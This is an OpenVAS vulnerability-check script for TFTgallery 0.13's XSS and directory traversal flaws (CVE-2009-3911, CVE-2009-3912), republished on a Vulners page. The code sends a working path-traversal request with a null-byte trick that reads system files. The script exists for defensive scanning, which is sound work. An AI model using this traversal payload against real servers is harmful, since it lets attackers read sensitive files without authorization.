TFTgallery < 0.13.1 XSS And Directory Traversal Vulnerabilities - Active Check
🗓️ 17 Nov 2009 00:00:00Reported by Copyright (C) 2009 Greenbone AGType
openvas🔗 plugins.openvas.org👁 31 Views
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2009-3911 | 2 Nov 200900:00 | – | circl | |
| CVE-2009-3912 | 2 Nov 200900:00 | – | circl | |
| CVE-2009-3911 | 9 Nov 200917:00 | – | cve | |
| CVE-2009-3912 | 9 Nov 200917:00 | – | cve | |
| CVE-2009-3911 | 9 Nov 200917:00 | – | cvelist | |
| CVE-2009-3912 | 9 Nov 200917:00 | – | cvelist | |
| TFTgallery 0.13 - 'sample' Cross-Site Scripting | 2 Nov 200900:00 | – | exploitdb | |
| TFTgallery .13 - Directory Traversal | 2 Nov 200900:00 | – | exploitdb | |
| EUVD-2009-3882 | 7 Oct 202500:30 | – | euvd | |
| EUVD-2009-3883 | 7 Oct 202500:30 | – | euvd |
10
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:tftgallery:tftgallery";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.900974");
script_version("2025-09-19T15:40:40+0000");
script_tag(name:"last_modification", value:"2025-09-19 15:40:40 +0000 (Fri, 19 Sep 2025)");
script_tag(name:"creation_date", value:"2009-11-17 15:16:05 +0100 (Tue, 17 Nov 2009)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2009-3911", "CVE-2009-3912");
script_name("TFTgallery < 0.13.1 XSS And Directory Traversal Vulnerabilities - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2009 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_tftgallery_http_detect.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("tftgallery/http/detected");
script_xref(name:"URL", value:"https://web.archive.org/web/20111226100648/http://secunia.com/advisories/37156");
script_xref(name:"URL", value:"https://web.archive.org/web/20210121192913/http://www.securityfocus.com/bid/36898");
script_xref(name:"URL", value:"https://web.archive.org/web/20210121192913/http://www.securityfocus.com/bid/36899");
script_xref(name:"URL", value:"https://exchange.xforce.ibmcloud.com/vulnerabilities/54087");
script_xref(name:"URL", value:"https://web.archive.org/web/20091213190230/http://packetstormsecurity.org/0911-exploits/tftgallery-traversal.txt");
script_tag(name:"summary", value:"TFTgallery is prone to cross-site scripting (XSS) and directory
traversal vulnerabilities.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"The following flaws exist:
- CVE-2009-3911: An error exists when input passed via the 'sample' parameter to settings.php is
not properly sanitised before being returned to the user. This can be exploited to execute
arbitrary HTML and script code or conduct XSS attacks.
- CVE-2009-3912: Input passed via the 'album' parameter to index.php is not properly verified
before being used to include files via a '../'. This can be exploited to include arbitrary files
from local resources via directory traversal attacks and URL-encoded NULL bytes.");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to disclose
sensitive information and conduct XSS attacks.");
script_tag(name:"affected", value:"TFTgallery version 0.13 and prior.");
script_tag(name:"solution", value:"Update to version 0.13.1 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_app");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("traversal_func.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
files = traversal_files();
foreach pattern( keys( files ) ) {
file = files[pattern];
url = dir + "/index.php?album=../../../../../../../../../../" + file + "%00&page=1>";
if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Sep 2025 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 25
EPSS0.02744